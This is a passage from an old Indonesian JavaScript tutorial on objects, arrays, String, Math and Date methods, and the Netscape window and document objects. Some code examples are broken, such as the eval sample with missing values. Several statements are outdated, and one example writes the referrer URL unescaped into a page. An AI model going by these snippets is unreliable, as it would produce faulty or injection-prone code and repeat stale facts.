this.license = license; } mydog = new dog("mixed mut", 5, 25, AZ123);&lt;br /&gt;&lt;br /&gt;Untuk mengacu pada pemilik mydog, syntax berikut diperlukan&lt;br /&gt;&lt;br /&gt;    mydog.license.owner&lt;br /&gt;&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Jika suatu property baru ditambahkan pada suatu objek tanpa mengubah jenis objek, properti tambahan tersebut hanya berpengaruh pada objek tersebut dan bukan pada semua instances dari objek jenis yang sama.&lt;br /&gt;&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Suatu variabel string atau suatu string literal adalah suatu objek string. Metode string adalah asosiasi dengan objek ini, dan akan didiskusikan pada bagian  "Objek dan fungsi built-in".&lt;br /&gt;&lt;br /&gt;Mendefinisikan Array&lt;br /&gt;&lt;br /&gt;Tidak seperti bahasa lainnya, Java script tidak memiliki suatu tipe data array. Tetapi bagaimanapun, fungsi yang sama dapat dengan membentuk suatu objek untuk melakukan emulasi suatu array. Langkah pertama untuk mendefinsikan suatu objek array:&lt;br /&gt;&lt;br /&gt;    function MakeArray(n) { this.length = n; for (var i = 1; i &lt;= n; i++) this[i] = 0; return this }&lt;br /&gt;&lt;br /&gt;Langkah berikutnya adalah mendefinisikan suatu instance untuk membentuk objek MakeArray :&lt;br /&gt;&lt;br /&gt;    ExmpArray = new MakeArray(20);&lt;br /&gt;&lt;br /&gt;Ketika anda memberikan nilai pada suatu elemen array, hal tersebut menyerupai memberi nilai pada suatu type data array. Perbedaannya adalah array ini dimulai dari satu dan bukan nol, karena nol mendefinisikan panjang dari array:&lt;br /&gt;&lt;br /&gt;    ExmpArray[1] = "test1" ExmpArrya[2] = "another test"&lt;br /&gt;&lt;br /&gt;Objek dan Fungsi Built-In&lt;br /&gt;&lt;br /&gt;Objek dan fungsi yang akan dijelaskan pada bagian ini adalah bagian dari lingkungan JavaScript, selanjutnya sangat tergantung pada jenis web browser. Adapun objek dan fungsi tersebut adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    Objek string dan metode asosiasinya&lt;br /&gt;    Objek Math dan metode asosiasinya&lt;br /&gt;    Objek date dan metode asosiasinya&lt;br /&gt;    Fungsi eval, parseInt, dan parseFloat&lt;br /&gt;&lt;br /&gt;Objek String&lt;br /&gt;&lt;br /&gt;Suatu string yang dipetik adalah suatu variabel string atau suatu properti string dari suatu objek, segala sesuatu yang ditempatkan diantara petik adalah suatu string. Ada dua cara untuk menggunakan suatu objek string:&lt;br /&gt;&lt;br /&gt;    stringName.propertyName&lt;br /&gt;    stringName.metodeName(parameters)&lt;br /&gt;&lt;br /&gt;Properti Objek String&lt;br /&gt;&lt;br /&gt;Objek string hanya memiliki sebuah properti -length. Karena berupa properti, berikut ini adalah acuan yang benar:&lt;br /&gt;&lt;br /&gt;    StringLength = stringVariable.length; StringLength = mydog.name.length; StringLength = "This is a string".length;&lt;br /&gt;&lt;br /&gt;Metodee Objek String&lt;br /&gt;&lt;br /&gt;Sejumlah besar metode adalah asosiasi dengan objek  string. Disamping fungsi manipulasi string yang normal, banyak diantaranya berfungsi membungkus string diantara tag HTML. Berikut ini adalah daftar dari metode Objek string:&lt;br /&gt;&lt;br /&gt;    anchor(nameAttribute). Dengan nameAttribute sebagai nilai dari parameter yang dilewatkan ke metode, metode anchor mengurung text dengan tag &lt;A&gt;&lt;/A&gt;. Berikut ini adalah contohnya:&lt;br /&gt;&lt;br /&gt;    document.write("Other Links".anchor("other_links"));&lt;br /&gt;&lt;br /&gt;    big(). String di apit dengan tag &lt;BIG&gt;&lt;/BIG&gt;.&lt;br /&gt;    blink(). String di apit dengan tag &lt;BLINK&gt;&lt;/BLINK&gt; .&lt;br /&gt;    bold(). String di apit dengan tag &lt;B&gt;&lt;/B&gt;.&lt;br /&gt;    charAt(index). Metode ini mengembalikan huruf yang ditentukan oleh index, dimana index adalah range  0 sampai stringName.length - 1. Jika index berada diluar jangkauan, suatu null string akan dikembalikan.&lt;br /&gt;    fixed(). String di apit dengan tag &lt;TT&gt;&lt;/TT&gt;.&lt;br /&gt;    fontcolor(color). String di apit dengan tag &lt;FONT COLOR="color"&gt;&lt;/FONT&gt;. Parameter  color ditentukan dengan format rrggbb.&lt;br /&gt;    fontsize(size). String di apit dengan tag &lt;FONTSIZE=size&gt;&lt;/FONTSIZE&gt;. Nilai dapat berupa angka satu sampai tujuh, atau dapat perubahan secara relatif  (+ atau -) yang didasarkanpada ukuran font dasar yang ditentukan pada tag &lt;BASEFONT&gt;.&lt;br /&gt;    indexOf(searchValue, [fromIndex]). Metode ini mengembalikan posisi index dari string pertama yang ditemukan berdasarkan string searchValue. fromIndex secara optional menentukan posisi awal pencarian. Jika pencarian tidak ditemukan maka JavaScript mengembalikan -1.&lt;br /&gt;    italics(). String di apit dengan tag &lt;I&gt;&lt;/I&gt;.&lt;br /&gt;    lastOf(searchValue, [fromIndex]). Menyerupai indexOf, cuma pencarian dilakukan dari arah belakang.&lt;br /&gt;    link(hrefAttribute). String di apit dengan tag &lt;A HREF=hrefAttribute&gt;&lt;/A&gt;.&lt;br /&gt;    small(). String di apit dengan tag &lt;SMALL&gt;&lt;/SMALL&gt;.&lt;br /&gt;    strike(). String di apit dengan tag &lt;STRIKE&gt;&lt;/STRIKE&gt;.&lt;br /&gt;    sub(). String di apit dengan tag &lt;SUB&gt;&lt;/SUB&gt;.&lt;br /&gt;    substring(indexA, indexB). Metode ini mengembalikan subset dari suatu string, yaitu dari posisi index A s/d indexB-1. Jika indexA sama dengan indexB akan dikembalikan suatu null string.&lt;br /&gt;    sup(). String di apit dengan tag &lt;SUP&gt;&lt;/SUP&gt;.&lt;br /&gt;    toLowerCase(). Metode ini mengubah string ke huruf kecil dan mengembalikannya.&lt;br /&gt;    toUpperCase(). Metode ini mengubah string ke huruf besar dan mengembalikannya.&lt;br /&gt;&lt;br /&gt;Objek Math&lt;br /&gt;&lt;br /&gt;Objek Math menyediakan suatu himpunan dari nilai-nilai standar matematika dan metode-metode yang argumennya berupa himpunan dari operator matematika yang disediakan dengan JavaScript. Tidak seperti Objek lainnya, Objek Math tidak membutuhkan suatu instance dari Objek sebelum menggunakan metode objek math tersebut. Untuk memudahkan pemasukkan nama dan pembacaan, metode Math sering diikat dengan perintah with. Syntax untuk Objek Math adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    Math.propertyName&lt;br /&gt;    Math.metodeName(parameters)&lt;br /&gt;&lt;br /&gt;Properti Objek  Math&lt;br /&gt;&lt;br /&gt;Objek Math memiliki delapan buah properti. Properti-properti ini ini mendefinisikan berbagai konstanta matematika. Tabel 5. menunjukkan properti-properti tersebut dan nilai perkiraannya.&lt;br /&gt;&lt;br /&gt;Table 5. Properti-properti objek Math dan nilainya.&lt;br /&gt;Property 	Description 	Approx. value&lt;br /&gt;E 	Euler's constant 	2.718&lt;br /&gt;LN2 	Natural logarithm of 2 	0.693&lt;br /&gt;LN10 	Natural logarithm of 10 	2.302&lt;br /&gt;LOG2E 	Base 2 logarithm of e 	1.442&lt;br /&gt;LOG10E 	Base 10 logarithm of e 	0.434&lt;br /&gt;PI 	Ratio of circumference to diameter 	3.14159&lt;br /&gt;SQRT1_2 	Square root of one-half 	0.707&lt;br /&gt;SQRT2 	Square root of two 	1.414&lt;br /&gt;Metode Objek Math&lt;br /&gt;&lt;br /&gt;Objek Math memiliki sejumlah metode yang argumennya adalah himpunan dari operator matematika:&lt;br /&gt;&lt;br /&gt;    abs(number). Metode ini mengembalikan nilai absolut dari number.&lt;br /&gt;    acos(number). Mengembalikan nilai arc cosinus dari number yang bernilai antara -1 and 1.&lt;br /&gt;    asin(number). Mengembalikan nilai arc sinus&lt;br /&gt;    atan(number). Mengembalikan nilai arc tangen dalam radian.&lt;br /&gt;    ceil(number). Mengembalikan nilai integer berikutnya yang lebih besar atau sama dengannnumber.&lt;br /&gt;    cos(number). Mengembalikan nilai cosinus dari number (dalam sudut radian).&lt;br /&gt;    exp(number). Mengembalikan pangkat e dari number, dimana  e adalah konstanta Euler's.&lt;br /&gt;    floor(number). Mengembalikan integer yang lebih kecil atau sama dengan the number.&lt;br /&gt;    log(number). Mengembalikan logaritma natural (base e) dari number, dimana number adalah sembarang bilangan positif hasil ekspresi atau Objek. Jika number berada diluar jangkauan maka nilai pengembalian defaultnya adalah 1.797693134862316e+308.&lt;br /&gt;    max(number1, number2). Mengembalikan terbesar dari kedua number.&lt;br /&gt;    min(number1, number2). Mengembalikan terkecik dari kedua number.&lt;br /&gt;    pow(base, exponent). Metode ini melakukan pangkat  base terhadap  exponent. Jika salah satunya bilangan imaginier, maka akan dikembalikan nol.&lt;br /&gt;    random(). Hanya terdapat pada paltforms UNIX, yang mana mengembalikan suatu pseudorandom number antara nol dan satu. Pada Netscape Navigator 3.0, metode random() metode dapat digunakan pada semua platforms.&lt;br /&gt;    round(number). Mengembalikan nilai dari number yang dibulatkan kebilangan integer terdekat.&lt;br /&gt;    sin(number). Mengembalikan nilai sinus dari sudut dalam radian.&lt;br /&gt;    sqrt(number). Mengembalikan nilai akar dari bilangan non negatif, Jika diluar jangkauan akan dikembalikan nol.&lt;br /&gt;    tan(number). Mengembalikan nilai tangen dari sudut dalam radian.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- Begin var ran ran = Math.round(Math.random()*50000) alert("Anda adalah pengunjung yang ke " + ran + ".") // End --&gt; &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Objek Date&lt;br /&gt;&lt;br /&gt;Walaupun JavaScript tidak menyediakan suatu type data Date, tetapi menyediakan suatu objek Date yang mana menangani informasi date dan time. Semua tanggal adalah jumlah milidetik sejak January 1, 1970, 00:00:00. Akibatnya semua tanggal sebelum 1970 adalah tidak sah.&lt;br /&gt;&lt;br /&gt;Objek Date membutuhkan suatu instance dari objek Date yang berkaitan dengan pemakaian metode-metodenya. Instance dapat berupa suatu objek baru atau properti dari objek yang ada. Ada empat cara untuk membentuk instance baru:&lt;br /&gt;&lt;br /&gt;    dateObjekName = new Date() dateObjekName=new Date("month day, year hours:minutes:seconds") dateObjekName=new Date(year, month, day) dateObjekName=new Date(year, month, date, hours, minutes, seconds)&lt;br /&gt;&lt;br /&gt;Membentuk suatu himpunan dari tanggal dan waktu ke tanggal dan waktu sekarang. Mengosongkan time berarti memberinya nilai nol. Karena objek  Date tidak mengandung properti apa-apa, hanya ada satu format untuk metode Date:&lt;br /&gt;&lt;br /&gt;    dateObjekName.metodeName(parameters)&lt;br /&gt;&lt;br /&gt;Pengecualiaanya adalah UTC dan metode parse, yang mana adalah metode status dan pemakaiannya &lt;br /&gt;&lt;br /&gt;    Date.UTC(parameters) Date.parse(parameters)&lt;br /&gt;&lt;br /&gt;Table 6 menjelaskan nilai yang akan dikembalikan oleh berbagai perintah get.&lt;br /&gt;&lt;br /&gt;Table 6. Memisahkan informasi dalam objek Date.&lt;br /&gt;metode Date 	Nilai yang dikembalikan&lt;br /&gt;getDate() 	Day of the month&lt;br /&gt;getDay() 	Day of the week&lt;br /&gt;getHours 	Hour of the day&lt;br /&gt;getMinutes 	Minutes in the hour&lt;br /&gt;getMonth 	The month&lt;br /&gt;getSeconds 	Seconds in the minute&lt;br /&gt;getTime 	Milliseconds since 1/1/1970&lt;br /&gt;getTimezoneOffset 	Offset between local time and GMT&lt;br /&gt;getYear 	The year&lt;br /&gt;&lt;br /&gt;Selain dapat menerima berbagai informasi dari Objek Date, metode pada Tabel 7 menunjukkan bagaimana mengubah informasi date.&lt;br /&gt;&lt;br /&gt;Table 19.7. Setting informasi dalam objek Date.&lt;br /&gt;metode Date 	Nilai yang sah&lt;br /&gt;setDate(dayValue) 	1-31&lt;br /&gt;setHours(hoursValue) 	0-23&lt;br /&gt;setMinutes(minutesValue) 	0-59&lt;br /&gt;setMonth(monthValue) 	0-11&lt;br /&gt;setSeconds(secondsValue) 	0-59&lt;br /&gt;setTime(timeValue) 	&gt;=0&lt;br /&gt;setYear(yearValue) 	&gt;=1970&lt;br /&gt;&lt;br /&gt;Dua metode tambahan yang dapat digunakan untuk melakukan konvesi data tanggal ke suatu nilai string, adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    toGMTString(). Metode ini meng-konversi date dalam GMT (Greenwich Mean Time) dan mengembalikannya sebagai suatu string. Format sebenarnya tergantung pada platform hardware.&lt;br /&gt;    toLocaleString(). Mthod ini meng-konversi string ke format locale, yang mana bervariasi berdasarkan setting.&lt;br /&gt;&lt;br /&gt;Objek Date juga memiliki dua metode statik untuk menangani string; hal tersebut memiliki format Date.metode(). Metode-metode ini adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    parse(dateString). Metode ini melakukan konversisuatu string tanggal ke jumlah detik sejak January 1, 1970, 00:00:00. Setting waktu adalah default. Tetapi juga mendukung akhiran yang menentukan GMT oatau U.S. standard time zones.&lt;br /&gt;    UTC(year, month, day [, hrs] [, min] [, sec]). Metode ini mengembalikan jumlah milidetik sejak  January 1, 1970, 00:00:00 Universal Time Coordinate (dengan kata lain adalah, GMT).&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- Begin var months=new Array(13); months[1]="Januari"; months[2]="Februari"; months[3]="Maret"; months[4]="April"; months[5]="Mei"; months[6]="Juni"; months[7]="Juli"; months[8]="Agustus"; months[9]="September"; months[10]="Oktober"; months[11]="Nopember"; months[12]="Desember"; var time=new Date(); var lmonth=months[time.getMonth() + 1]; var date=time.getDate(); var year=time.getYear(); if (year &lt; 2000) // Y2K Fix, Isaac Powell year = year + 1900; document.write("&lt;center&gt;" + lmonth + " "); document.write(date + ", " + year + "&lt;/center&gt;"); // End --&gt; &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;    Desember 7, 2011&lt;br /&gt;    Desember 2, 2011&lt;br /&gt;    Januari 17, 2004 &lt;br /&gt;&lt;br /&gt;Fungsi Built-In&lt;br /&gt;&lt;br /&gt;JavaScript mendukung beberapa function built-in yang mana tidak berkaitan dengan Objek tertentu. Berikut ini adalah function-function built-in adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    eval(string). Function  eval meng-evaluasikan string, yang mana dapat berupa ekspresi JavaScript, perintah, atau urutan dari perintah-perintah, dan mengembalikan hasil. Beberapa contoh dari function  eval adalah&lt;br /&gt;&lt;br /&gt;    var x = var y = var z = "if (x &lt;= 9) (x*y) else (x/y);" document.write(eval("x + y / 4"), "&lt;BR&gt;") document.write(eval(z), "&lt;BR&gt;")&lt;br /&gt;&lt;br /&gt;    parseFloat(string). Fungsi ini mengurai string dan mengembalikan suatu nilai floating point. Jika karakter pertama bukan suatu bilangan atau tanda, nilai nol akan dikembalikan pada platform Windows, dan  NaN (not a number) pada platforms lain.&lt;br /&gt;    parseInt(string [, radix]). Fungsi parseInt mengurai string dan mengembalikan suatu integer berdasarkan basis yang ditentukan. Nilai dari akar tersebut adalah 8 untuk octal, 10 untuk desimal, dan 16 untuk hexadesimal.&lt;br /&gt;    isNaN(testValue). Fungsi ini hanya ada pada platforms UNIX untuk dan mengevaluasi testValue untuk menentukan apalah adalah NaN. Akan dikembalikan true atau false&lt;br /&gt;    escape("string"). Mengembalikan encoding ASCII dari suatu argumen dalam ISO Latin-1 character set. string tersebut adalah suatu non-alpahnumeric string atau property dari suatu Objek yang ada. Jika berupa suatu alphanumeric, akan dilewatkan nilai ke output string tanpa melakukan encoding terhadapnya.&lt;br /&gt;    unescape("string"). Mengembalikan karakter ASCII untuk %xx, atau hexadesimal yang ditentukan dalam parameter string.&lt;br /&gt;&lt;br /&gt;Objek Netscape&lt;br /&gt;&lt;br /&gt;Sebagai tambahan kepada objek-objek  JavaScript dan metode, Pengembang halaman Web dapat mengakses objek-objek dan metode dalam Netscape browser. Bagian ini akan membahas Objek Netscape Navigator  dan metode-metodenya.&lt;br /&gt;Hirarki Objek Navigator&lt;br /&gt;&lt;br /&gt;Netscape Navigator membangun suatu hirarki instance-instance yang berkaitan dengan dokumen yang sedang di proses.&lt;br /&gt;&lt;br /&gt;Hirarki ini penting untuk membuat acuan kepada Objek dan propertinya. Turunan dari suatu Objek adalah properti dari objek orang tuanya. Karena semua objek adalah merupakan turunan dari objek  window , sehingga objek window sendirinya tidak memiliki acuan ke objek maupun properti apapun. Tetapi bagaimanapun, acuan ke suatu dokumen pada window lain membutuhkan tambahan nama window kepada Objek acuan-nya.&lt;br /&gt;&lt;br /&gt;Hal yang penting dari  HTML Layout&lt;br /&gt;&lt;br /&gt;Untuk dapat menggunakan JavaScript secara benar membutuhkan pengertian bagaimana Netscape Navigator memproses suatu dokumen HTML. Ketika suatu dokumen HTML di muat, browser akan mulai melakukan proses terhadap baris pertama dari dokumen. Browser membuat layout dari layar berdasarkan perintah HTML yang terdapat dalam dokumen tersebut. Setelah layar selesai digambar, layar tidak dapat digambar ulang tanpa melakukan proses terhadap dokumen baru. Bagaimana hal ini mempengaruhi frame dan window adalah topik pada bagian berikutnya.&lt;br /&gt;&lt;br /&gt;Sesuai dengan hal ini, maka instance dari suatu objek ada setelah proses dilakukan terhadap baris HTML yang menghasilkan instance tersebut. Dengan kata lain JavaScript tidak dapat mengacu pada suatu objek HTML seperti form, atau menjalankan suatu fungsi sampai browser memproses perintah tersebut. Sebagai contoh, JavaScript tidak dapat mengacu pada suatu objek form sampai browser memproses HTML untuk form tersebut. Demikian juga dengan proses perubahan  properti, setelah browser menggunakan properti dalam menghasilkan layout window, maka perubahan properti setelah itu tidak memiliki efek terhadap tampilannya.&lt;br /&gt;&lt;br /&gt;Walaupun nampaknya keterbatasan tersebut berat, namun dengan pengertian yang baik terhadap HTML proses dan JavaScript akan mengurangi frustasi. Prinsip utama yang perlu diingat bahwa suatu dokumen HTML diproses secara berurut dan JavaScript adalah bagian dari proses secara berurut tersebut.&lt;br /&gt;Objek Window&lt;br /&gt;&lt;br /&gt;Objek window adalah orang tua dari semua Objek. Hal tersebut termasuk semua window dan frame yang berada dalam suatu. Ketika browser mulai memuat suatu dokumen HTML, hal tersebut dimulai dengan suatu instance dari objek window. Jika dokumen HTML membuat suatu frame, informasi dari frame tersebut tersimpan dalam suatu objek frame array. Dengan kata lain, membuka suatu window akan menghasilkan suatu anak dari objek window. Kehebatan dari JavaScript adalah terletak pada kemampuan untuk melakukan utilisasi properti dan metode dari objek window.&lt;br /&gt;&lt;br /&gt;Bagian ini akan membahas properti dari objek  window berikut :&lt;br /&gt;&lt;br /&gt;    objek Location&lt;br /&gt;    objek History&lt;br /&gt;    objek Document&lt;br /&gt;&lt;br /&gt;Diantara ketiga objek tersebut, document adalah objek yang paling penting dalam hirarki tersebut. Objek document itu sendirinya mengacu kepada objek lain. Hal lain yang penting dari hal ini adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    objek form&lt;br /&gt;    objek anchor&lt;br /&gt;    objek link&lt;br /&gt;&lt;br /&gt;Objek location&lt;br /&gt;&lt;br /&gt;Objek location mengandung informasi tentang URL sekarang. Acuannya ke objek tersebut adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    [windowReference.]location[.propertyName]&lt;br /&gt;&lt;br /&gt;Properti dari Objek location mengacu pada bagian individual dari URL:&lt;br /&gt;&lt;br /&gt;    protocol//hostname:port pathname search hash&lt;br /&gt;&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Objek location dan properti location dari objek dokumen (document.location) memiliki tujuan yang berbeda. Objek location dapat berubah, tetapi properti location tidak dapat berubah.&lt;br /&gt;&lt;br /&gt;Properti dari objek location adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    protocol. protocol menentukan metode access dari URL.&lt;br /&gt;    hostname. hostname mengandung nama host dan domain, atau alamat IP, dari host tujuan.&lt;br /&gt;    port. port adalah TCP/IP port, jika kosong akan digunakan port default dari protocol tersebut.&lt;br /&gt;    pathname. pathname meliputi path resource pada host tujuan.&lt;br /&gt;    search. property search adalah string yang dimulai dengan tanda ? yang digunakan untuk script CGI.&lt;br /&gt;    hash. property hash adalah suatu string yang dimulai dengan tanda hash(#) dan diikuti dengan suatu  anchor name.&lt;br /&gt;    href. property ini merupakan keseluruhan dari URL. Jika acuan dibuat ke[windowName.]location, property href menjadi asumsi.&lt;br /&gt;    host. Property ini ekivalen dengan hostname:port.&lt;br /&gt;&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Walaupun JavaScript memungkinkan modifikasi pada properti individual, praktek pemrograman yang umum adalah mengubah properti href. Pendekatan ini mencegah hasil error dari browser sebelum akses URL belum berubah secara keseluruhan.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;a href="" onmouseover="parent.location='http://www.indoprog.com/'"&gt; Langsung ke homepage Indoprog&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;    Contoh diatas akan langsung membuka homepage http://www.indoprog.com begitu pointer lewat diatas link Langsung ke homepage Indoprog&lt;br /&gt;&lt;br /&gt;Objek History&lt;br /&gt;&lt;br /&gt;Akses ke objek  History adalah topik yang kontroversial karena memungkinkan script mengirim history kembali ke server. Untuk mencegah pemakaian yang menyimpang, Netscape Navigator 2.01 keatas telah menghilangkan Objek ini.&lt;br /&gt;&lt;br /&gt;    Contoh 1 :&lt;br /&gt;&lt;br /&gt;    &lt;a href="#" onClick="history.go(-1)"&gt;Back&lt;/a&gt; &lt;input type=button value="Back" onClick="history.go(-1)"&gt; Hasil :&lt;br /&gt;&lt;br /&gt;    Back&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;    Contoh 2 :&lt;br /&gt;&lt;br /&gt;    &lt;HEAD&gt; &lt;SCRIPT LANGUAGE="JavaScript"&gt; &lt;!-- Begin var agree=confirm("Apakah anda yakin untuk melanjutkan PROSES ?"); if (agree) document.write(""); else history.go(-1); // Kembali ke halaman sebelumnya // End --&gt; &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/HEAD&gt;&lt;br /&gt;&lt;br /&gt;Objek document&lt;br /&gt;&lt;br /&gt;Objek document menyimpan properti, objek, dan metode yang mewakili dokumen. Hal tersebut mengacu pada bagian dokumen HTML yang didefinsikan oleh tag &lt;BODY&gt;&lt;/BODY&gt;. Bagian ini mendiskusikan komponen dari objek dokumen, kecuali objek form (yang akan dibahas pada bagian berikutnya).&lt;br /&gt;Properti objek document&lt;br /&gt;&lt;br /&gt;Option HTML ke tag &lt;BODY&gt; mendefinisikan properti objek document. JavaScript mengacu pada semua properti ini, kecuali untuk image background.&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    String yang diperlukan untuk mengubah properti color adalah dalam format document.colorProperty = "#RRGGBB" atau document.colorproperty="colorName". Property color lainnya didefinisikan dalam tag &lt;HEAD&gt;&lt;/HEAD&gt; yang mendahului tag  &lt;BODY&gt;. &lt;br /&gt;&lt;br /&gt;Properti color untuk Objek document adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    bgColor. Property ini menentukan warna latarbelakang dari dokumen. Property bgColor secara langsung mengupdate tampilan.&lt;br /&gt;    fgColor. Property ini menentukan warna text dari dokumen. Setelah browser menyelesaikan layout dari dokumen HTML., browser mengabaikan perubahan pada propery ini. Kecuali tag  &lt;FONT&gt; atau metode fontcolor metode menyediakan suatu mekanisme alternatif untuk mengubah warna text.&lt;br /&gt;    linkColor. linkColor mewakili warna dari suatu link yang didefinsikan oleh HREF.&lt;br /&gt;    alinkColor. property control warna dari suatu active link. Dengan kata lain, hal tersebut adalah warna dari link ketika terpilih.&lt;br /&gt;    vlinkColor. Situs yang pernah dikunjungi, browser menampilkan warna untuk link tersebut.&lt;br /&gt;&lt;br /&gt;    Contoh 1:&lt;br /&gt;&lt;br /&gt;    &lt;FORM&gt; &lt;SELECT onChange= "document.bgColor=this.options[this.selectedIndex].value"&gt; &lt;OPTION VALUE="40E0D0"&gt; Torquoise &lt;OPTION VALUE="2E8B57"&gt; Sea Green &lt;OPTION VALUE="87CEEB"&gt; Sky Blue &lt;OPTION VALUE="F4A460"&gt; Sandy Brown &lt;OPTION VALUE="FFF0F5"&gt; Lavender Blush &lt;OPTION VALUE="FF1493"&gt; Deep Pink &lt;OPTION VALUE="FFFFFF" SELECTED&gt; White &lt;/SELECT&gt; &lt;/FORM&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;&lt;br /&gt;Objek document juga mengandung properti berikut yang tidak berkaitan dengan warna:&lt;br /&gt;&lt;br /&gt;    lastModified. Property read-only yang berkaitan dengan tanggal terakhir dokumen dimodifikasi.&lt;br /&gt;    location. Property read-only yang biasanya sama dengan nilai dari lokasi Objek, kecuali redirection digunakan untuk URL&lt;br /&gt;    referrer. Property read-only mengandung URL untuk dokument yang mana di link ke dokumen tersebut.&lt;br /&gt;    title. Property read-only mengandung nilai yang ditentukan pada tag&lt;TITLE&gt;&lt;/TITLE&gt;.&lt;br /&gt;&lt;br /&gt;    Contoh 1:&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT LANGUAGE="JavaScript"&gt;&lt;br /&gt;       &lt;!--&lt;br /&gt;        document.write("Update terakhir :");&lt;br /&gt;        document.write(document.lastModified);&lt;br /&gt;       // --&gt;&lt;br /&gt;    &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    Hasil:&lt;br /&gt;    Update terakhir :12/02/2011 03:29:58Update terakhir :12/02/2011 11:27:50 Update terakhir :01/17/2004 01:20:39 Update terakhir :07/14/2000 09:07:48&lt;br /&gt;&lt;br /&gt;    Contoh 2:&lt;br /&gt;&lt;br /&gt;    &lt;form name=404form&gt;&lt;br /&gt;&lt;br /&gt;    &lt;script language="JavaScript"&gt; &lt;!-- Begin var from = document.referrer; document.write("&lt;input type=text name=referrer value='" + from + "'&gt;"); // End --&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/form&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;&lt;br /&gt;    Anda datang dari halaman : &lt;br /&gt;&lt;br /&gt;The anchors Objek&lt;br /&gt;&lt;br /&gt;Objek anchors mengandung suatu array dari semua anchors yang dideklarasikan dengan atribut  NAME dari tag &lt;A&gt; &lt;/A&gt;. Array tersebut dimulai dari 0 dan berlanjut sampai document.anchors.length - 1. Nilai dari  document.annchors[index] adalah null.&lt;br /&gt;TIP&lt;br /&gt;&lt;br /&gt;    Sebelum menggunakannya untuk memberikan nilai seperti location.hash, adalah mungkin untuk memeriksa keabsahan dari anchor dengan membandingkannya dengan panjang array; anda menggunakan bilangan berurut untuk menentukan anchors&lt;br /&gt;&lt;br /&gt;Objek link&lt;br /&gt;&lt;br /&gt;Array link mengandung Objek link yang didefinisikan oleh tag &lt;A&gt;&lt;/A&gt; atau dengan metode link. Array tersebut meliputi objek untuk atribut HREF dan NAME. Dengan tambahan ke atribut TARGET, properti dari masing-masing Objek link adalah identik dengan Objek location.&lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    link array adalah suatu array read-only. Entries tambahan ditambahkan dengan tag &lt;A&gt;&lt;/A&gt;. Metode link melakukan modifikasi terhadap isi dalam array link&lt;br /&gt;&lt;br /&gt;Objek link memiliki dua event handler: onClick dan onMouseOver. Bagian ini disebut sebagai "The Form Objek,"  pada bagian selanjutnya di bab ini, menggambarkan bagaimana mengunakan event handler.&lt;br /&gt;Properti cookie&lt;br /&gt;&lt;br /&gt;Property cookie mengandung suatu nilai string dari isi cookier dari file cookies.txt untuk dokumen tersebut. Untuk suatu keterangan lengkap tentang bagaimana menggunakan cookies, lihat bagian Netscape cookie specification. Metode substring, charAt, indexOf, dan lastIndexOf dapat digunakan untuk memisahkan string cookie.&lt;br /&gt;The document Objek Metodes&lt;br /&gt;&lt;br /&gt;Objek document mengandung lima metode:&lt;br /&gt;&lt;br /&gt;    document.write()&lt;br /&gt;    document.writeln()&lt;br /&gt;    document.open()&lt;br /&gt;    document.close()&lt;br /&gt;    document.clear()&lt;br /&gt;&lt;br /&gt;Sebagaimana yang ditunjukkan pada contoh sebelumnya, metode document.write, tanpa mengacu pada suatu window, menulis text ke window yang sekarang. Metode document.writeln() adalah sama dengan  document.write, selain itu juga menyisip suatu karakter newline pada akhir dari argumen. Format dari metode ini adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;    document.write(ekspresi [, ekspresi2] ... [ekspresiN]) document.writeln(ekspresi [, ekspresi2] ... [ekspresiN])&lt;br /&gt;&lt;br /&gt;Tipe default  MIME adalah text/html. Bagaimanapun, metode document.open(["mimetype"]) memungkinkan untuk membuka type MIME lainnya, seperti text/plain, image/gif, image/jpeg, image/x-bitmap, dan plugIn. Metode document.open() membuka suatu stream untuk mengumpulkan output dari metode write dan write.ln. Jika tipe MIME adalah text atau image, browser membuka suatu stream untuk layout, untuk plugIn, browser membukanya pada suatu  plug-in. Jika suatu dokumen telah siap dalam target windows, mthod open menghapusnya.&lt;br /&gt;&lt;br /&gt;    Contoh :&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT&gt; document.write(Date()+".") &lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;    Hasil :&lt;br /&gt;    Wed Dec 07 2011 21:15:59 GMT-0800 (Pacific Standard Time).Fri Dec 02 2011 03:27:50 GMT-0800 (Pacific Standard Time). Sat Jan 17 01:25:37 2004. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;CATATAN&lt;br /&gt;&lt;br /&gt;    Sekarang, tidak dimungkinkan lagi untuk mencetak tulisan apapun 